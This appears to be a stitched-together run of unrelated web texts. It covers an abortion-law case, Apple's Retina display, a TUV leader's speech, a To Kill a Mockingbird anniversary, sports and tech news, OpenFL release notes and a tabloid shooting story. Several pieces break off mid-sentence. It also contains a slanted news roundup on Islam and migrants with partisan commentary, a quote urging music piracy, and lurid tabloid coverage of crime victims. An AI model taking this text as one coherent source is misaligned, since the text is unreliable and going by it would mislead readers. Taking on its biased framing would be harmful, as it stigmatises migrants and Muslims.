Crepps said she and the other lawyers representing Whole Woman’s Health have established concrete and onerous burdens that the law puts on women. Requiring fetal demise adds more time to the process, Crepps said, a potential complication for women who travel from out of town to get an abortion. She also said that adding a procedure creates unnecessary risk and that without a failsafe way to guarantee fetal death before an abortion, doctors could stop performing them.This article is about the HD screens of Apple products. For the heads-up-display technology, see Virtual retinal display
Part of a Retina display on an iPhone 4. The pixels are not visible at viewing distance, creating an impression of sharp print-like text. Part of a non-Retina display on an iPhone 3GS. The pixels are visible at viewing distance.
Retina display is a brand name used by Apple for its series of IPS LCD, and OLED displays that have a higher pixel density than traditional Apple displays.[1] Apple has applied to register the term "Retina" as a trademark in regard to computers and mobile devices with the United States Patent and Trademark Office, Canadian Intellectual Property Office, and in Jamaica.[2][3] On November 27, 2012 the US Patent and Trademark office approved Apple's application and "Retina" is now a registered trademark for computer equipment.
When an Apple product has a Retina display, each user interface widget is doubled in width and height to compensate for the smaller pixels. Apple calls this mode HiDPI mode. In simple words, it was one logical pixel = four physical pixels at the very beginning. The advantage of this equation is that the CPU "sees" a small portion of the data and calculates the relative positions of each element and GPU renders these elements with high quality assets to make the output much sharper and more clear. The goal of Retina displays is to make the display of text and images extremely crisp, so pixels are not visible to the naked eye.[4] This allows displays to rival the smooth curves and sharpness of printed text and immediacy of photographic prints.[5][6][7]
These |
UV.
“And who was it perpetuated the myth that all was well, the IRA was gone, the Army Council was a thing of the past? The DUP.”
He said that the DUP had “made careers and power out of pulverising David Trimble over his weakness” while boasting of their “virility in putting manners on republicanism”.
Mr Allister derided DUP “macho man Gregory Campbell”, saying that the East Londonderry MP and MLA had been reduced to saying “we can’t get them out” when challenged about the presence of Sinn Fein in the Executive despite the existence of an armed IRA.
He added: “Little wonder Sinn Fein MLAs gave Peter Robinson a standing ovation. Didn’t he let them keep their Army Council in government? Of course they gave him a standing ovation. They have reason to be grateful to him. What a legacy for the man who once said the only cabinet the IRA should be in is one with brass handles.”
Mr Allister also attacked the Executive’s record, accusing it of “greed and squander” on 19 special advisers at a cost of £2 million a year, £400,000 for publicly-funded photos of ministers and £5 million a year on Stormont spin doctors.
He accused the DUP of self-interest in joining with Sinn Fein to block his bill to cut the number of Spads – despite the DUP at that point boycotting Assembly debates on cancer and autism.
He said that TUV was the “authentic voice of opposition to the tawdry regime in Stormont” and challenged voters who like what he is doing to vote for TUV candidates in May’s Assembly election.
Mr Allister quoted Enterprise Minister Jonathan Bell, who told the DUP conference: “Don’t let anyone tell you that manufacturing in Northern Ireland is in a difficult position.”
The TUV leader added: “Eye on the ball, instead of eye on the camera would serve some ministers better.”
And Mr Allister also sharply criticised UUP leader Mike Nesbitt for apologising to the Deputy First Minister after the National Anthem was spontaneously sung at Stormont’s Remembrance Day service last month.
Mr Allister accused Sinn Fein Speaker Mitchel McLaughlin of having it “surgically removed” from the programme but praised TUV press officer Sammy Morrison for leading the singing, adding that “unlike some we’ve no apology to make to an IRA commander for honouring Her Majesty at a remembrance service, particularly recalling what his IRA did in Enniskillen”.
Alex Kane: Allister needs to stop snarling to have his sensible proposals taken seriously
Sam McBride: TUV may stay the same, but the world around it is shifting
Kate Hoey: quitting the EU unites right and leftby Erin Z. Bass
Like most of us Southerners, I read the book “To Kill a Mockingbird” in school and probably watched the movie then too. Growing up in a small town where everybody on our street knew each other, I could relate to the Boo Radley house (it was right across the street from my own and occupied much of my time standing at the kitchen window with binoculars trying to find out what went on inside) as well as to Mrs. Dubose (she lived two houses down and didn’t appreciate my sister and I picking her roses). What I didn’t find out until much later is that the town of Maycomb actually exists. It’s Monroeville, Alabama, the home of Harper Lee, courthouse featured in the book and an annual theatrical production of the now classic story.
As “To Kill a Mockingbird” celebrates its 50th anniversary this year, Monroeville is preparing for thousands of “Mockingbird” fans to descend upon the town starting today and lasting through the weekend. The Monroe County Heritage Museum kicks off the celebration with a panel discussion by residents who remember the novel’s publication and how it transformed their sleepy little town. Thursday’s schedule also includes the first public showing in Monroeville of the acclaimed film adaptation of “To Kill a Mockingbird” since 1963. Events continue Friday and Saturday with a marathon reading from the judge’s bench in the old courtroom where Harper Lee’s father practiced law. On Saturday, a preview screening of the upcoming documentary, “Our Mockingbird,” will be shown, and other activities include games on the courthouse lawn and walking tours of downtown featuring sites where Lee and fellow writer and childhood friend Truman Capote lived as children. Sunday marks the actual publication date of the book with cake and ice cream on the courthouse lawn and the announcement of the silent auction winner of a signed, mint condition 35th anniversary edition of the book.
Also adding to the fun will be an evening of Southern foods described in the book – collard greens, cornbread, fried chicken and lane cake – prepared by Chef Clif Holt of Little Savannah in Birmingham Friday night. And Southern cocktail expert Denise Gee has created a signature drink for the weekend, the “Tequila Mockingbird.”
If you can’t make it to Monroeville this weekend, that doesn’t mean you can’t celebrate the anniversary. Cities and towns across the country are planning events through September, and book publisher Harper Collins has a long list on their special anniversary site. Don’t see your town on the list? Create your own event. Deep South is partnering with our local Barnes & Noble in Lafayette to have a day of celebration for the book, and we’ll be posting resources and ideas for other groups who want to join in.
While Monroeville is pulling out all the stops this weekend, the town won’t be any less charming or filled with literary history another weekend, so there’s never a bad time to make that “Mockingbird” pilgrimage. I visited in April as part of a tour through Alabama’s small towns and almost didn’t come back. Stuck back in time in a way that feels safe and comforting, Monroeville is a place where people still walk into town, say hello to each other on the street and don’t mind telling you about the time their child played Scout or Jem in the play. It reminded me of growing up in my hometown of Crowley in South Louisiana, where my father still practices law and life revolved around the courthouse and annual Rice Festival.
In Monroeville, activity all year leads up to the town’s spring “To Kill a Mockingbird” production, also celebrating an anniversary – its 20th – this year. Local children (pictured on left) pass the roles down as they grow, dads like Harvey Gaston, who is CEO of Peoples Exchange Bank, take on the part of Atticus; native Robert Champion, an investigator with the Monroeville Police Department, plays Boo; and the crucial role of Tom Robinson is played by Monroe County Coroner Robert Malone, proving that the story is still relevant today and that its message hits home with people of all ages. Starting outdoors on the lawn as soon as the courthouse clock strikes 7, the play moves inside the courtroom for act two and Tom Robinson’s trial.
Since the closing of Vanity Fair’s offices outside of downtown (the silk mill referred to in “To Kill a Mockingbird”), Monroeville has begun to diversify and further cement its place as a tourist destination in the South. Art galleries are opening downtown, Beehive Coffee and Books celebrated its first anniversary in May, and the Alabama Writers Symposium, held at the end of April each year, brings such writers as Rick Bragg and the late George Plimpton to town. These new developments are complementing existing businesses, like The Courthouse Cafe, Mel’s Dairy Dream (where burgers are still served in waxed paper) and the Old Courthouse Museum, where visitors can see exhibits on Harper Lee and Truman Capote and visit the gift shop for all things “Mockingbird.”
We’ve been saving two submissions for Southern Voice for just this occasion. “Mockingbird Summer” by Martha Lyons and “(I’d Like) to Kill a Mockingbird” by Ruth J. Hartman both feature our favorite singing bird. Read them here.Rocket League developer Psyonix have spoken to a Nintendo fan and they have expressed that they’re excited about the Nintendo Switch telling fans of the game to “keep their fingers crossed”. Below is the full message from Psyonix:
“We are excited as you are regarding the release of Nintendo Switch however, we don’t have enough information at this time if it will happen. For the mean time, let’s both keep our fingers crossed that it will. For all the latest information on upcoming releases, updates, and other news, please visit the Rocket League Facebook page or follow us on Twitter!”
Rocket League first got released back in June 2015 and has since become a massive hit around the world. Psyonix has tracked more than 25 million unique players by January 2017, averaging 1.1 million players a day, and reaching 220,000 concurrent players at one point.
Would you like to see Rocket League on the Nintendo Switch?
SourceSome parents in northeast Calgary are taking their children's school commute into their own hands after the Calgary Board of Education (CBE) announced it was cutting bus service to some alternative programs.
The parents got together to pay for their own school bus.
Aman Sood says buying into a parent-run school bus was the only way to get his 11-year-old daughter to school.
"We didn't really have any other choice," Sood told CBC News on Friday.
"The only choice we had was take the kid out of the school, or arrange some kind of transportation."
Parent Aman Sood says the group didn't have any other choice. (Terri Trembath/CBC)
The CBE cut bus services to a number of programs and Sir Wilfrid Laurier School was one of them.
Some parents say public transit isn't safe for 10- and 11-year-olds, so a group of them have worked out a system to charter their own bus through Southland Transportation Ltd.
Currently, it will include 66 students at about $1,200 per child.
Amory Hamilton-Henry is one of the organizers of the initiative. She said they formulated the idea late last month.
"We got a proposal from Southland and we started working with that," she said.
"Transporting our kids, getting quality education, paying for that, is critical because that's what parents do."
Organizer Amory Hamilton-Henry says it's costing $1,200 per child. (Terri Trembath/CBC)
Hamilton-Henry says they have sent a letter to the CBE asking for a teacher to help students get on the bus in the afternoon but they haven't yet received a response.
The board has defended the cuts saying tough choices were required and the city has indicated a willingness to look at route adjustments.
Calgary Mayor Naheed Nenshi said this week the city is monitoring demand for public transit "very closely" to see what effect these changes may have.
More consultations with parents are planned later this month.1. More women come forward with allegations against Tariq Ramadan
2. What did they teach at terrorist Sayfullo Saipov's NYC mosque?
3. "Devout terrorist" jailed for Australia plot
A 22-year-old Australian man described as a 'devout terrorist' was sentenced to 22 years in jail Friday for plotting to attack government buildings in Sydney, as authorities grapple with the rise of homegrown Islamist extremism. Sulayman Khalid was handed the sentence at the New South Wales Supreme Court after pleading guilty to conspiring to act in preparation for a terrorist attack. He was arrested during a series of police raids in Sydney and Brisbane in late 2014. Four others, including an unnamed teenager, were jailed for between nine and 18 years for similar or lesser offences -- such as intentionally making a document connected with the preparation of a terrorist act. Khalid 'occupied a co-ordinating role' in the plot, Justice Geoffrey Bellew wrote in his ruling. 'In offending as he did, Khalid demonstrated that he was a devout terrorist, he added.
4. 30,000 rejected asylum seekers "disappeared" in Germany, tabloid claims
Around 30,000 rejected asylum seekers have simply disappeared from Germany's records, a German newspaper has claimed, though the government and refugee organizations call the statistical analysis inaccurate and 'ridiculous.' According to a report in Thursday's mass-circulation daily Bild, the government's Central Register of Foreign Nationals (AZR) counted around 54,000 people at the end of 2016 who were obligated to leave the country, but only around 23,000 were claiming state benefits in accordance with the law governing asylum applicants, according to numbers from the Federal Statistical Office.”
5. Aftermath of Philippine battle against Muslims fighting for Islamic supremacy, and the implementation of sharia law
6. Political correctness allows Islamic terrorism to spread: Ex-government advisor
The author of a report on integration in the UK told a police summit the desire to embrace diversity was letting down people in society and difficult conversations were required in some socially divided communities, such as Bradford. Speaking at the APCC and NPCC Partnership Summit in London, she said: 'If you’re not alive to the importance of talking about these issues then there’s not much hope of stopping these possible things happening to us.'” The article continues to push fully discredited theories about economics and Islamic terrorism. However its initial premise is worth reading. That far left wing thought, namely “political correctness” is responsible for failing to properly deal with islamic terror, and spreading of hatred of classical civilization and its freedoms.
7. At least 56,000 migrants (including criminals) on the run in Britain
They should have been deported but the Home Office has lost track of them. Potentially dangerous offenders who have given officials the slip include those who were held but then released into the community. A damning report by an independent inspector on the security shambles made “difficult reading”, ministers admitted yesterday. It warned there was “little evidence” that effective action was being taken to locate the bulk of absconders, with nearly a third of planned deportations failing because of last-ditch legal challenges.”
8. Number of Migrants Arriving in Greece from Turkey up 200 per cent
The number of migrants arriving on the Greek islands from Turkey since this August is up 200 per cent compared to the same period last year. Greek Migration Policy Minister Yiannis Mouzalas described the spike as a'special phase' and explained that arrival rates had shot up from 87 people per day in July to 156 per day in August, and then 214 a day in September and October. With around 4,000 people arriving on the islands in October alone, Mouzalas described the situation at the congested camps on Lesvos as'very bad' and on Chios as 'bad', Ekathimerini reports.
9. North African or Arab men attacked Halloween partiers in Germany
Police had to reinforce their presence outside Cologne Cathedral over reports of “heavily intoxicated and aggressive groups of men,” in the city center, who were mostly of North African or Arab origin, according to Zeit.
Related:
German police officers in the city of Halle were attacked by a gang of 'youths' on Halloween night, and police in Cologne were forced to call for reinforcements due to sex attacks and violence from young migrant men. In Cologne, police had to call for reinforcements after drunken men, described as North Africans and Arabs, gathered near the site of the infamous Cologne New Year’s Eve sex attacks. Police say that there were 'numerous brawls and disputes' and “three women were'sexually harassed', with two men being arrested in connection with the sex attacks, reports German news magazine Focus.
10. Italian authorities seize MILLIONS of opiate tablets being used to finance the Islamic StateAlan Ball has not been in the NFL since 2015 and he's ready to try his hand at another competition
Martin Holmes of Inside Survivor revealed Ball will be a contestant on Season 35 of the CBS show. This year's show will be titled Survivor Heroes vs. Healers vs. Hustlers.
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Ball was a standout at the University of Illinois before he was drafted in the seventh round by the Dallas Cowboys in 2007. In five seasons with the Cowboys he appeared in 60 games with 21 starts and recorded 104 tackles and three interceptions.
The veteran cornerback then spent one year with the Houston Texans in 2012 before joining the Jacksonville Jaguars in 2013. In his two seasons with Jacksonville he started 22 games, recorded 59 tackles and three interceptions.
Ball signed a one-year deal with the Bears in 2015 and struggled with a foot injury early in the season. He appeared in 15 games with three starts and recorded just 13 tackles. He signed a deal with the Arizona Cardinals last offseason but was released before the start of the season.
Season 35 of Survivor will return to CBS this fall and will air on Wednesdays.MANILA, Philippines — Four other companies from Japan, South Korea, US, and Australia are interested to partner with local firms and become a third telco player in the country, according to the Department of Information and Communications Technology.
DICT officer-in-charge Eliseo Rio Jr. said in a press conference companies from Japan, South Korea and the US, as well as Australian telco Telstra Corp. Ltd. have also expressed interest to enter the country’s telco industry.
“Right now, there is an offer from a Chinese company. In the same manner, there are offers from Japanese, South Korean, US companies and Australia,” Rio said.
Earlier, Presidential Communications Operations Office Secretary Martin Andanar said China Telecom has been selected by China government to invest in the Philippines.
Duterte invited China to invest in the telco industry to break the duopoly and offer consumers another option amid complaints of dropped calls and slow internet speeds.
Given the instructions from Duterte to ensure a third telco provider would be operational by the first quarter of next year, as well as interest from firms to participate in the telco industry, Rio said the DICT and National Telecommunications Commission are aiming to conduct the bidding for the available frequencies within the first three months of 2018.
“We should be able to award within the first quarter so that upon awarding, the third telco would be able to operate,” he said.
As the Philippine Constitution limits foreign ownership of telcos to 40 percent, the foreign firms would need to partner with local companies to be able to participate in the bidding for frequencies.
Rio said the government would grant frequencies to a telco player that has the financial and technical capability to be able to truly compete with existing players Smart Communications Inc. and Globe Telecom Inc.
“We would also like to be sure that the one chosen is big enough financially and technically so that it won’t be gobbled up by Globe and Smart,” he said.
He said the aim of the bidding is to have a third telco player that would give the third choice to consumers.Paige VanZant won't be fighting at UFC 200 after all.
The popular strawweight had originally hoped to fight on the July 9 card in Las Vegas, however, according to her manager Mike Roberts that plan is now off. The main reason? VanZant's involvement on the "Dancing with the Stars" show.
"After thinking about it, the show is taking up a lot of her time," Roberts said. "She wants to have time to improve and get better, so we decided to postpone her return to about late-August."
The UFC was originally on board with the idea of having VanZant on the UFC 200 card to build off her involvement on "DWTS," which she is currently thriving on. She is actually one of the favorites to win this season of the show, and in fact, she landed a perfect score on Monday's episode.
The 22-year-old VanZant hasn't fought since her submission loss to Rose Namajunas in December. That loss dropped her professional record to 6-2.The evidence continues to mount on the deep pangs of financial pain faced by younger Americans before and after the Great Recession. The Federal Reserve Bank of St. Louis posted wealth information and what we find is that for those 40 years old and younger, there has been little recovery since the recession ended officially five years ago. Younger Americans were exposed to housing closer to the peak but also, did not partake in the rapid rise of the stock market which is really the domain of a small portion of the population. What is problematic with this situation is that we have a major challenge ahead of us when it comes to retirement because so many older Americans are depending on Social Security for the bulk of their retirement income. The recovery in wealth for older Americans largely is coming from the housing market moving back up. Yet the housing market is not the equivalent to an annuity or a job. There still needs to be some income coming in for items like food, health care, and probably supporting kids with higher expenses from expensive colleges and lower paying jobs. That will be an issue given that the older retiring population will depend on the active incomes of those working. The young have seen a massive hit to what little wealth they had.
Young continue to face challenges in recovery
There have been studies highlighting the importance of starting a career in a good or bad economy. The earlier you start and the better the economy, the more likely someone will be on the path to building wealth. This makes sense. You have income to save, buy a home, and also build skills and networks that will serve you well as you move up the ladder. However, a large portion of the work post-recession has been in the form of part-time work and low-wage work which has boosted corporate profits but has hurt those actually working.
Wealth is definitely an important metric when it comes to financial success. For example, there were many real estate brokers during the boom making six-figures a year and living high on the hog. After the housing crisis and the Fed owning the mortgage market, those jobs disappeared. You have a handful that saved and were prudent to know the big incomes were likely to evaporate. But most spent every penny they had. The end result is a negative or low net worth. The macro-economy is largely out of the hands of your young college graduate. The last decade has not been kind on younger Americans when it comes to wealth building:
This is a very telling chart. For those 40 years old and younger, inflation adjusted wealth is still down by 30 percent since the recession hit and ended. For those 40 to 61, the wealth gains barely register on the chart. For those 62 and older the gains are there but they are not spectacular. It is wrong to think that just because older Americans are doing better than younger Americans that they somehow are in a good financial situation. Social Security data clearly shows that older Americans will be depending largely on Social Security income for the bulk of their income in retirement. Social Security was never designed to be the major source of income for older Americans.
The true wealth divide is at the top
In reality the true divide in our country is happening at the top. Take a look at wealth distribution in our country:
The top 1 percent control 43 percent of all available wealth. The top 5 percent control 72 percent of all available wealth. The bottom 80 percent only has control of 7 percent of total wealth.
This is a big problem and with low-wage jobs making up the bulk of new jobs for younger workers, the rode to building wealth is only going to get much tougher. Not only is the inequality expansive with wealth, it is also reflected with incomes:
Take a look at real income gains over the last generation. For 90 percent of the population, real annual income barely kept up with inflation (if at all). For the bottom 60 percent in our nation real household incomes actually fell. The real gains start to be found in the top 10 percent. Yet where we see the massive divide is at the top 1 percent. Real incomes are up 309 percent for this group while for the bottom 60 percent of the US, real incomes are down and down significantly from 1979 to 2007.
Many are living hand-to-mouth and it is no surprise that we now have a looming retirement disaster coming to shore. The young have shouldered a large part of the Great Recession but as you can see from the data, the bottom 90 percent of the US has actually faced challenges in keeping up going back a generation. There are consequences in losing a strong, educated, and financially literate middle class. D.C. and Wall Street are looking out for their own interests and the population is poorer because of it.
If you enjoyed this post click here to subscribe to a complete feed and stay up to date with today’s challenging market!ESA/Hubble, L. Calçada (ESO)
Gigantic jets of gas that leap out of galaxies at nearly the speed of light occur only after two galaxies merge, a survey of the distant Universe shows. The results suggest that the jets are powered by the collision of black holes at the galaxies’ centres and solve the puzzle of why only some galaxies emit these jets.
The link between mergers and galactic jets seems to be a “slam dunk”, says astronomer Sylvain Veilleux of the University of Maryland in College Park, who was not involved in the work.
Most large galaxies are thought to host black holes at their centres, and these can be billions of times as massive as the Sun. Some black holes, including the one at the heart of our own Milky Way, are dormant and are mostly only noticeable from the gravitational pull that they exert on nearby stars. But other black holes are surrounded by a disk of matter, light years across, that shines more brightly than the rest of its galaxy combined as the matters spirals into the black hole.
Fast jets and fireworks
Only a few of these ‘active galactic nuclei’ have been seen producing what are probably the most spectacular fireworks in the Universe: jets of matter accelerated to nearly the speed of light that stream out of the galaxy centres in opposite directions, at right angles to the disks. These jets shine brightly in the radio spectrum and their hosts are therefore known as radio galaxies.
But why some systems have jets and some do not has been a puzzle. Marco Chiaberge, an astronomer at the Space Telescope Science Institute in Baltimore, Maryland, and his collaborators stumbled on an explanation almost by chance in late 2013, during a survey of radio galaxies using the Wide Field Camera 3 on the Hubble Space Telescope. “We printed out the images of this new survey and put them on a table,” Chiaberge recalls. “We looked at them and we said, ‘These are all mergers!’”
The team followed up their initial intuition with more careful work on a larger sample of 19 radio galaxies, all of them at least 7.8 billion light years (2.4 billion parsecs) away. Nearly all had irregular shapes with regions of intense star formation, a sign that they were the result of a recent merger, on cosmic time scales. Not all galaxy mergers are seen producing jets because in some of them the central black holes are still falling towards each other and are not merging, Chiaberge suggests. The results are available on the preprint server arXiv1 and are due to be published in the Astrophysical Journal.
Mergers should set the resulting larger black hole into a faster spin, which would twist the black hole's magnetic field around it, accelerating surrounding gas particles to close to the speed of light and ejecting them out of the galaxy. The idea that galactic jets are powered by the rapid spinning of black holes has been around for at least two decades2 and the latest results support it, Veilleux says.The Miami Heat’s undisputed captain, Udonis Haslem, will return for a 15th and extremely important season.
It was never really in doubt, but in the end the Miami Heat handed out the most important $2.3 million of their offseason when it re-signed franchise pillar Udonis Haslem.
Haslem probably won’t start a single game next year or even log meaningful minutes, but there is no doubt that his departure would’ve signaled a severe shift in attitude and leadership. The reality is the Heat are far stronger with their captain patrolling the sideline than they are with him wearing another jersey.
The Heat inked Haslem to another one-year deal, his 15th season with the only franchise he’s ever known in one of the only cities (Gainesville is a hike from Miami) he’s ever known. He’s 37 now and his on-court prowess has left him, but Haslem is the steady veteran force the Heat need in the locker room as they nurture and develop this young core.
While Haslem nurtures in his own unique way, certainly with a few more broken chairs and dry erase boards, the young Heat players need to see Haslem not as a consultant in a suit but as their brother in a jersey. Hassan Whiteside needs to see a man nearly 10 years his elder lifting weights at 6 in the morning. Bam Adebayo needs to see a man who was in college when he was born getting up extra shots after practice.
Haslem doesn’t just bring an attitude, he brings the type of career stability these young players (and journeymen like Wayne Ellington, Dion Waiters and James Johnson) are looking for. He also brings the championships to prove that the hard work eventually pays off. He’s a living testament to one of the Heat’s longest standing credos: If you dedicate yourself, the organization will always take care of you. Haslem has always understood that.
In a time where the Heat only make headlines for who isn’t on the team, Haslem has been the much-needed constant, and now he will anchor the locker room during one of the most pivotal moments in the Heat’s 30 years as a franchise.
A leader by example not just how to be a great player within the Heat’s culture, but how to be a professional in the NBA. One of the league’s very best stories of longevity along with Dirk Nowitzki, Tony Parker and Many Ginobili.
It’s no wonder that as Haslem remained unsigned, the Cleveland Cavaliers showed interest. The three-time Eastern Conference champions weren’t in need of a stretch-4 when they contacted Haslem, they were in need of an authority in the locker room. LeBron James gleaned a number of attributes from his time in Miami, one of those being a healthy respect for Haslem and his journey.
In the very same letter James released to break up with Haslem and the Heat, he also said that “nothing is given, everything is earned.” No player embodies that mantra more than Haslem, at least among James’ former and current teammates–and possibly the entire league.
The no-excuses, win-at-all-costs warrior who permanently wears the state of Florida on his back returns once again to shepherd the new generation of future Miami Heat stars, as it always should be.Democratic Senate candidate Doug Jones' newest campaign ad quotes prominent "conservative voices" criticizing his Republican opponent, Roy Moore, over the many sexual misconduct allegations made against him.
The ad includes quotes from Ivanka Trump, Attorney General Jeff Sessions Jefferson (Jeff) Beauregard SessionsTrump says he hasn't spoken to Barr about Mueller report Ex-Trump aide: Can’t imagine Mueller not giving House a ‘roadmap’ to impeachment Rosenstein: My time at DOJ is 'coming to an end' MORE and Sen. Richard Shelby Richard Craig ShelbyBottom Line Senate plots to avoid fall shutdown brawl How the border deal came together MORE (R-Ala.).
"Ivanka Trump says 'there's a special place in hell for people who prey on children,' and 'I have no reason to doubt the victims' accounts,'" a narrator says in the advertisement. "Jeff Sessions says 'I have no reason to doubt these young women.' And Richard Shelby says he will 'absolutely not vote for Roy Moore.'"
"Conservative voices putting children and women over party – doing what's right," it continues.
ADVERTISEMENT
Jones, who's facing off against Moore in Alabama's special Senate election in December, has seen a boost in public polls since allegations emerged in recent weeks that Moore pursued sexual and romantic relations with teenage girls when he was in his 30s.
One of Moore's accusers said she was 14 years old at the time of an alleged sexual encounter with him. He was 32 at the time.
Moore has vehemently denied most of the allegations. He has faced mounting calls from GOP officials across the country to withdraw from the race, though he has so far resisted those pleas.OpenFL 2.1 Beta
The next release of OpenFL is coming. In the meantime, we are happy to share beta builds for each library. We invite you to help us test for regressions, or other serious issues before publishing a full release to haxelib.
A Combined Codebase
Flash, HTML5 and native (when using the “next” flag) will use a single Haxe codebase. Long-term, we expect this to help in our commitment to stability and focusing on better consistency and quality across across each target.
However, we’re not flipping the switch on “next” just yet for everyone. By default, the native target will still use our older C++ codebase. It is important to us that we do not take a step backwards in the short-term, while we prepare for long-term goals.
A New Lime
Lime has a brand-new API, which we’ll go into detail for in the future. In the meantime, know that we’re pushing more of the features you love from OpenFL, into Lime so that cross-platform development can remain strong and supported, without being quite so tied to the Flash API.
In our goals to focus on simplicity and consistency, we have decided to not to maintain a separate “aether” library for command-line tools. We have merged the tools into Lime.
How to Install
We are not going to release on haxelib, but invite you to install these builds yourself:
After you download each zip, use “haxelib local” to install each one:
haxelib local openfl-2.1.0-beta-74-g886b0e3.zip haxelib local lime-2.0.0-alpha-71-g8bb4838.zip haxelib local swf-1.5.3-1-g4b6170f.zip
You can change between the beta versions and the last release using “haxelib set”:
haxelib set openfl 2.1.0-beta haxelib set lime 2.0.0-alpha haxelib set swf 1.5.3
..
haxelib set openfl 2.0.1 haxelib set lime 1.0.1 haxelib set swf 1.5.2
Changes
Version: 2.1.0-beta
Added Orientation3D and improvements to Matrix3D in support of Away3D
Minor fixes to URLLoader
Added several missing toString() methods
Implemented displayObject.hitTestPoint for HTML5
Added graphics.drawRoundRect implementation for HTML5
Fixes for HTML5 mouse wheel
Implemented “totalCount” argument for Flash Tilesheet class
ArrayBufferView fix for Flash
Improved HTML5 performance of bitmapData.getVector
Fix for Asset embedding when using full paths
Added initial Haxe-based GL rendering for all targets (next, incomplete)
Moved to premultiplied alpha when rendering in GL (next)
Added automatic batching of Bitmap objects for performance (next)
Moved ByteArray, Assets and other low-level elements to Lime (next)
Consolidated the “backends” into a single set of classes (next)
Version: 2.0.0-alpha
Created an all-new Lime API
The core architecture is built around Application, Window and Renderer
Events are similar to C# or signals/slots, and strongly-typed
Add support for Flash, DOM, Canvas or GL render contexts
Added bindings to OpenAL, as well a simple unified audio API
Added networking support, with bindings to cURL on native platforms
Added cross-target pixel image manipulation features
Added Lime “legacy” binaries to support OpenFL “v2” native
Combined “aether”/”lime-tools” into “lime”
Fixed support for Xcode 6 publishing for iOS 8
Fixed support for BlackBerry 10.3
Restored support for old Android devices
Added support for static linking on Windows, Mac and Linux
Added support for externally defined platform targets
Improved Flash asset embedding, to handle larger projects
Added Firefox OS publishing using “lime publish firefox”
Made the asset library system more flexible
Many other tool improvements
Version: 1.5.3“There’s not a fucking thing that doesn’t suck about the music industry”.
Shlohmo has been around long enough to know that the entertainment biz has a higher count of frauds, thieves and fakers than Wall Street – and he’s not afraid to say so.
In an entertaining interview with Notion following his gig at London’s Laundry this week, the L.A. beatmaker vented his frustration with populated by musicians “in suits” and the epidemic of stealing.
“Pretty much everything [sucks about the music industry]”, he said.
“There’s not a fucking thing that doesn’t suck about it. Everybody is in it for the wrong reasons and there’s less and less people that are not. It’s really hard to find even musicians now that aren’t a suit. Every fucking musician nowadays is a suit. They’re on Soundcloud with their ties on, trying to advertise; paying for advertisements on Facebook, trying to get me to like their fucking page and download their EPs and shit. It’s rough and it’s hard to find new music like that.”
Asked if he felt like everyone was “looking for a cosign nowadays”, he added:
“Everybody is looking for a cosign and a fucking selfie man. Fans are getting crazier and people are trying to make music cool. A&Rs are dumber, it’s weird. People are stealing SO MUCH. I know people have stolen shit forever, but it’s crazy how little you need to credit anybody.”
Not that he’s blameless, though: “I love illegal downloading! I fucking download everything for free. I don’t pay for anything […] My manager will fucking hate me for saying this, but for real, pirate shit. I don’t care. I do it.”
Read the rest of the in-depth interview at Notion.Korean electronics company LG caused a worldwide stir when it announced its 55-inch OLED panel last week, and now the company's rolled out two more pictures that show you what kind of remarkable TV set this is going to be.
How groundbreaking is this TV, anyway? If you've ever seen an OLED screen, all of which are much smaller than this one, you'll know how outlandishly vibrant its colors are. And an OLED screen can be impossibly thin. For instance, the one you see here is only 4mm thick — take a look at the right side of the picture below and you'll see the woman's finger pointing at the edge of the |
New York City fetish parties, sometimes with him wearing lipstick, a garter belt, stockings and high heels.
His secret leather-loving lifestyle – seen on photos posted on fetish Web sites – turned out to be his downfall.
The violence began when Ottaviano, 40, and his girlfriend returned to her Philadelphia home after a cozy dinner, police sources said.
Krieg, a former client of Maa’s who had been stalking her for months, was waiting for them in a parking lot near her home, police said.
The tattooed lunatic shot Ottaviano and then forced Maa into his car.
Krieg drove around with the petite dominatrix – who specializes in tickle torture, nipple play and “sissy slut training” – for hours.
Maa, who dropped out of a Ph.D. engineering program at the University of Pennsylvania, convinced him to let her go, and he dropped her off at his relatives’ house in West Chester, Pa., shortly after 4 a.m. on Monday, police said.
She immediately called cops, who began a search for Krieg’s car.
Investigators found him quickly and forced him to pull over in a restaurant parking lot.
As Krieg held the gun to his head, cops tried unsuccessfully to talk him out of killing himself.
Hours earlier, Krieg’s panicked parents had called cops, saying they believed he was going to commit suicide, said West Chester Police Chief Scott Bohn.
At that time, police searched his house and found his gun missing – and no sign of Krieg, an avid bodybuilder who has an ex-wife and a child.
Friends of Ottaviano were stunned by the loss of the fun-loving lawyer.
“It’s a dark day. We lost a good person,” Donn Winn, a lifelong friend, told the Philadelphia Inquirer. Winn, who works as a New York state trooper, told the paper his pal grew up in Tonawanda, near Buffalo. Winn said Ottaviano told him two weeks ago that Krieg was stalking Maa.
Ottaviano encouraged her to get a restraining order, but she never did, Winn said.
He added that Ottaviano was close to his father and brother, and still kept in close contact with a large group of pals from their hometown, going back to grade school.
A spokeswoman for the victim’s firm said that he went to New York Law School, where he served on the law review, and graduated in 1997.
Two years ago, he lost his mother to cancer.
“He drove up to Buffalo every weekend for two years to be with her,” Winn said. “That’s the kind of person he was.”
Quite a different person from Krieg, it appears.
Krieg’s expletive-filled MySpace page is filled with kinky photos of the beefy freak being dominated by a slew of sexy bondage gals – including one in which he is on his knees straddled by a riding-crop-wielding woman he called Isabella.
On his last login, he listed his mood as “devious” and wrote, “David is pissed off!”
And his fixation on Jade Vixen – Maa – is well documented.
“Jade Vixen – she’s the greatest fetish model since Betty Page,” he gushed in a MySpace video.
“Jade’s real name is Edythe Maa, from Long Island New York (still has family there),” he wrote in another online rant, giving a cellphone number and her address.
His corseted crush, Maa, appears to have quite a devoted following.
“Umm have I told you that I’d die to work with you?” one fetish photog cooed on her Web site.
Maa boasts that she possesses “an extensive wardrobe of fetish apparel – leather, latex, custom corsets, extreme high heels.”
The SUNY Stony Brook alum – who has a bachelor’s in chemistry – said she loves posing in clothes, and has a 5-foot-4 frame with incredible 32D-22-32 measurements.
Her clients include men, women and transgender folk, she wrote.
But even though she’s OK with a laundry list of kinky activities – like forced feminization, medical play and genital torture – she does balk at some activities. Things like age play, nudity, face-sitting, “intimate activity of any sort” and anything that hurts animals are strictly off limits.
When reached at his Long Island home, Maa’s father said that she was doing well.
“She’s OK, but she’s not home,” he said. He said that she was not in a hospital.
When asked what his daughter did for a living, he said, “Sorry,” and shut the door.
A neighbor of Maa said, “I knew she went to a lot of fetish parties. I’ve seen him [Krieg] come in all the time.”
The neighbor, Cara Diamond, said Maa had lived with her sister. But two months ago, Diamond saw Krieg help the sister move out.
